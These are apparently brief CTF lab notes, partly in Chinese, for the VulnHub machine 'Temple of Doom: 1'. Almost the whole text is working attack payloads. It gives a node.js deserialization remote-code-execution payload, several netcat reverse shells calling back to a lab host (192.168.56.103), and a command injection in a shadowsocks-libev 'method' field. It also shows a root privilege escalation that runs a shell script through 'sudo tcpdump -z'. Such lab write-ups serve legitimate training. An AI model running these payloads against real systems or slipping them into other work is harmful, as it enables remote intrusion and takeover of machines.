VulnHub-Temple of Doom: 1

u32t4o3tb3gg431fs34ggdgchjwnza0l=

[exploit node.js](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)

[参考](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)

{"username":"_ND_FUNC_function(){return require('child_process').execSync('whoami',(e,out,err)=>{console.log(out);}); }()"}       

_  ND_FUNC  _ function（）：在本地执行一个函数child_process是node.js中的一个模块，它以类似于popen（3）的方式生成子进程。child_process.exec（）方法：此方法在控制台中运行命令并缓冲输出（上面框架的命令可以套用...遇到反序列化漏洞，上面美元符号不能打...报错...)它指定字符串Shell执行命令（在UNIX上默认：'/ bin / sh'）

命令：{"username":"_$$ND_FUNC_function(){return require('child_process').execSync('nc -e /bin/bash 192.168.56.103 6666',(e,out,err)=>{console.log(out);}); }()"}python -c 'import pty;pty.spawn("/bin/bash")'  （进入tty shell ）

[参考](https://github.com/shadowsocks/shadowsocks-libev/issues/1734)

add: {"server_port":8003, "password":"test", "method":"||nc -e /bin/sh 192.168.56.103 4444 ||"}

[参考](https://github.com/xapax/security/blob/master/privilege_escalation_-_linux.md)

命令：echo "nc -e /bin/bash 192.168.56.103 1234" > dayu命令：sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/dayu -Z root